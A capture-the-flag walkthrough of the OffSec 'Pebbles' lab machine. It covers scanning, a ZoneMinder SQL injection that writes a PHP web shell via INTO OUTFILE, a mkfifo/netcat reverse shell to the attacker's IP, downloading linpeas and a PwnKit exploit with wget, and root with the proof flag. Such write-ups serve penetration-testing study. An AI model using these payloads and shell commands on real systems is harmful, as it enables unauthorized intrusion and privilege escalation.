

tags: Offsec PG Practice Easy Linux # Pebbles

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.166.52 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.166.52:21
Open 192.168.166.52:22
Open 192.168.166.52:80
Open 192.168.166.52:3305
Open 192.168.166.52:8080

PORT      STATE SERVICE REASON  VERSION
21/tcp    open  ftp      syn-ack vsftpd 3.0.3
22/tcp    open  ssh      syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Pebbles
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-favicon: Unknown favicon MD5: 7EC7ACEA6BB719ECE5FCE0009B57206B
3305/tcp  open  http     syn-ack Apache httpd 2.4.18 ((Ubuntu))
8080/tcp  open  http     syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_ http-open-proxy: Potentially OPEN proxy.
|_ Methods supported: CONNECTION
|_ http-title: Tomcat
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-favicon: Apache Tomcat
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
``` 3305port then use gobuster
```

```
(kali㉿kali)-[~/pgplay]
└─$ gobuster dir -u http://192.168.166.52:3305 -w /home/kali/SecLists/Discovery/Web-Content/big.txt
```

```
=====
Starting gobuster in directory enumeration mode
=====
/javascript (Status: 301) [Size: 328] [--> http://192.168.166.52:3305/javascript/]
/server-status (Status: 403) [Size: 281]
/zm (Status: 301) [Size: 320] [--> http://192.168.166.52:3305/zm/]
Progress: 20476 / 20477 (100.00%)
=====
``` google edb-41239 \(https://vuln-sec.com/zoneminder-1-291-30-exploitation-multiple-vulnerabilities/\), can use sql injection burpsuite
```

```

POST /zm/index.php HTTP/1.1

Host: 192.168.158.52:3305
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
X-Request: JSON
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 130
Origin: http://192.168.158.52:3305
Connection: close
Referer: http://192.168.158.52:3305/zm/index.php?view=monitor
Cookie: zmSkin=classic; zmCSS=classic; ZMSESSID=g363vns8uemv6locf31s15b654

view=request&request=log&task=query&limit=100;SELECT "<?php echo system($_GET['cmd']); ?>" into OUTFILE
"/var/www/html/shell.php"#
``` Check`http://192.168.158.52:3305/shell.php?cmd=id`get ```
uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-
data)
``` ```
└─(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.195 80 >/tmp/f

encode: rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-
i%20%3E%261%7Cnc%20192.168.45.195%2080%20%3E%2Ftmp%2Ff

http://192.168.158.52:3305/shell.php?
cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-
i%20%3E%261%7Cnc%20192.168.45.195%2080%20%3E%2Ftmp%2Ff

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@pebbles:/var/www/html$
``` use`linpeas.sh`

```

www-data@pebbles/tmp\$ wget 192.168.45.195:22/linpeas.sh

www-data@pebbles/tmp\$ chmod +x linpeas.sh

www-data@pebbles/tmp\$ ./linpeas.sh

===== Executing Linux Exploit Suggester  
 https://github.com/mzet/linux-exploit-suggester

[+] [CVE-2021-4034] PwnKit

Details: <https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt>

Exposure: probable

Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro

Download URL: <https://codeload.github.com/berdav/CVE-2021-4034/zip/main>

www-data@pebbles/tmp\$ wget 192.168.45.195:22/CVE-2021-4034.py

www-data@pebbles/tmp\$ python3 CVE-2021-4034.py

python3 CVE-2021-4034.py

[+] Creating shared library for exploit code.

[+] Calling execve()

## whoami

whoami

root

## python3 -c 'import pty; pty.spawn("/bin/bash")'

```
root@pebbles:/root# cat proof.txt
f1efdaab2dd2a9f4e9f8cb168a5fa07c
```

---